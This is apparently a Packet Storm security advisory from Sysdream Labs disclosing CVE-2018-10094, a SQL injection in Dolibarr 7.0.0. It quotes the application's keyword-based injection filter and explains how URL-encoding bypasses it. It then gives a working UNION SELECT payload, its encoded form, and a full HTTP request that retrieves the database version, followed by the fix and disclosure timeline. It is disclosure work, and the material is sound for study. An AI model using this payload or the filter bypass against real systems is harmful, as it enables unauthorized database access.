Dolibarr 7.0.0 SQL Injection

2018-05-27T00:00:00
ID PACKETSTORM:147922
Type packetstorm
Reporter Issam Rabhi
Modified 2018-05-27T00:00:00

Description

                                        
                                            `# [CVE-2018-10094] Dolibarr SQL Injection vulnerability  
  
  
## Description  
  
Dolibarr is an "Open Source ERP & CRM for Business" used by many  
companies worldwide.  
  
It is available through [GitHub](https://github.com/Dolibarr/dolibarr)  
or as distribution packages (e.g .deb package).  
  
**Threat**  
  
The application does not handle user input properly and allows execution  
of arbitrary SQL commands on the database.  
  
**Expectation**  
  
Prepared queries should be used in order to avoid SQL injection in user  
input.  
  
  
## Vulnerability type  
  
**CVE ID**: CVE-2018-10094  
  
**Access Vector**: remote  
  
**Security Risk**: high  
  
**Vulnerability**: CWE-89  
  
**CVSS Base Score**: 7.5  
  
**CVSS Vector String**: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N  
  
  
## Details  
  
The database connector escapes quotes with the `real_escape_string()`  
wrapper. However it is still possible to perform injection on integer  
parameters without quotes.  
  
```php  
mysqli.class.php  
  
/**  
* Escape a string to insert data  
*  
* @param string $stringtoencode String to escape  
* @return string String escaped  
*/  
function escape($stringtoencode)  
{  
return $this->db->real_escape_string($stringtoencode);  
}  
```  
  
Additional checks are defined later, which forbit some SQL keywords (e.g  
`union`, `create`, `insert`). However, by url encoding the payload,  
these checks are bypassed.  
  
```php  
main.inc.php  
  
/**  
* Security: SQL Injection and XSS Injection (scripts) protection  
(Filters on GET, POST, PHP_SELF).  
*  
* @param string $val Value  
* @param string $type 1=GET, 0=POST, 2=PHP_SELF  
* @return int >0 if there is an injection  
*/  
function test_sql_and_script_inject($val, $type)  
{  
$inj = 0;  
// For SQL Injection (only GET are used to be included into bad  
escaped SQL requests)  
if ($type == 1)  
{  
$inj += preg_match('/updatexml\(/i', $val);  
$inj += preg_match('/delete\s+from/i', $val);  
$inj += preg_match('/create\s+table/i', $val);  
$inj += preg_match('/insert\s+into/i', $val);  
$inj += preg_match('/select\s+from/i', $val);  
$inj += preg_match('/into\s+(outfile|dumpfile)/i', $val);  
}  
if ($type != 2) // Not common, we can check on POST  
{  
$inj += preg_match('/update.+set.+=/i', $val);  
$inj += preg_match('/union.+select/i', $val);  
$inj += preg_match('/(\.\.%2f)+/i', $val);  
}  
// For XSS Injection done by adding javascript with script  
// This is all cases a browser consider text is javascript:  
// When it found '<script', 'javascript:', '<style', 'onload\s=' on  
body tag, '="&' on a tag size with old browsers  
// All examples on page: http://ha.ckers.org/xss.html#XSScalc  
// More on  
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet  
$inj += preg_match('/<script/i', $val);  
$inj += preg_match('/<iframe/i', $val);  
$inj += preg_match('/Set\.constructor/i', $val); // ECMA script 6  
if (! defined('NOSTYLECHECK')) $inj += preg_match('/<style/i', $val);  
$inj += preg_match('/base[\s]+href/si', $val);  
$inj += preg_match('/<.*onmouse/si', $val); // onmousexxx can  
be set on img or any html tag like <img title='...' onmouseover=alert(1)>  
$inj += preg_match('/onerror\s*=/i', $val); // onerror can be  
set on img or any html tag like <img title='...' onerror = alert(1)>  
$inj += preg_match('/onfocus\s*=/i', $val); // onfocus can be  
set on input text html tag like <input type='text' value='...' onfocus =  
alert(1)>  
$inj += preg_match('/onload\s*=/i', $val); // onload can be  
set on svg tag <svg/onload=alert(1)> or other tag like body <body  
onload=alert(1)>  
$inj += preg_match('/onclick\s*=/i', $val); // onclick can be  
set on img text html tag like <img onclick = alert(1)>  
$inj += preg_match('/onscroll\s*=/i', $val); // onscroll can be  
on textarea  
//$inj += preg_match('/on[A-Z][a-z]+\*=/', $val); // To lock event  
handlers onAbort(), ...  
$inj += preg_match('/:|&#0000058|&#x3A/i', $val); //  
refused string ':' encoded (no reason to have it encoded) to lock  
'javascript:...'  
//if ($type == 1)  
//{  
$inj += preg_match('/javascript:/i', $val);  
$inj += preg_match('/vbscript:/i', $val);  
//}  
// For XSS Injection done by adding javascript closing html tags  
like with onmousemove, etc... (closing a src or href tag with not  
cleaned param)  
if ($type == 1) $inj += preg_match('/"/i', $val); // We  
refused " in GET parameters value  
if ($type == 2) $inj += preg_match('/[;"]/', $val); // PHP_SELF  
is a file system path. It can contains spaces.  
return $inj;  
}  
```  
  
## Proof of Concept : retrieving the database name.  
  
Payload:  
  
```  
1) union select  
0,1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28#  
  
Url-encoded payload:  
%31%29%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%30%2c%31%2c%32%2c%76%65%72%73%69%6f%6e%28%29%2c%34%2c%35%2c%36%2c%37%2c%38%2c%39%2c%31%30%2c%31%31%2c%31%32%2c%31%33%2c%31%34%2c%31%35%2c%31%36%2c%31%37%2c%31%38%2c%31%39%2c%32%30%2c%32%31%2c%32%32%2c%32%33%2c%32%34%2c%32%35%2c%32%36%2c%32%37%2c%32%38%23  
```  
  
```http  
GET  
/dolibarr/adherents/list.php?leftmenu=members&statut=%31%29%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%30%2c%31%2c%32%2c%76%65%72%73%69%6f%6e%28%29%2c%34%2c%35%2c%36%2c%37%2c%38%2c%39%2c%31%30%2c%31%31%2c%31%32%2c%31%33%2c%31%34%2c%31%35%2c%31%36%2c%31%37%2c%31%38%2c%31%39%2c%32%30%2c%32%31%2c%32%32%2c%32%33%2c%32%34%2c%32%35%2c%32%36%2c%32%37%2c%32%38%23  
HTTP/1.1  
Host: dolibarr.lab:2080  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101  
Firefox/52.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Cookie:  
DOLSESSID_cac4a1e49e4040e845340fe919bd202b=qh3ot46kvm95ph0ddd3ujd7je5  
Connection: close  
Upgrade-Insecure-Requests: 1  
  
...  
  
</a>  
</td>  
<td>10.1.26-MariaDB-0+deb9u1</td>  
<td>2</td>  
<td></td>  
<td>1</td>  
<td>21</td>  
<td class="nowrap">  
```  
  
  
## Affected versions  
  
* Version 7.0.0 (last stable version as of March 2018) - previous  
versions are probably also vulnerable but not tested  
  
## Solution  
  
Update to 7.0.2  
([changelog](https://raw.githubusercontent.com/Dolibarr/dolibarr/develop/ChangeLog))  
  
## Timeline (dd/mm/yyyy)  
  
* 18/03/2018 : Initial discovery  
* 17/04/2018 : Contact with the editor  
* 17/04/2018 : Editor acknowledges the vulnerability  
* 18/04/2018 : Editor announces fixes in version 7.0.2  
* 21/05/2018 : Vulnerability disclosure  
  
## Credits  
  
* Issam RABHI (i dot rabhi at sysdream dot com)  
* Kevin LOCATI (k dot locati at sysdream dot com)  
  
--   
SYSDREAM Labs <labs@sysdream.com>  
  
GPG :  
47D1 E124 C43E F992 2A2E  
1551 8EB4 8CD9 D5B2 59A1  
  
* Website: https://sysdream.com/  
* Twitter: @sysdream  
  
`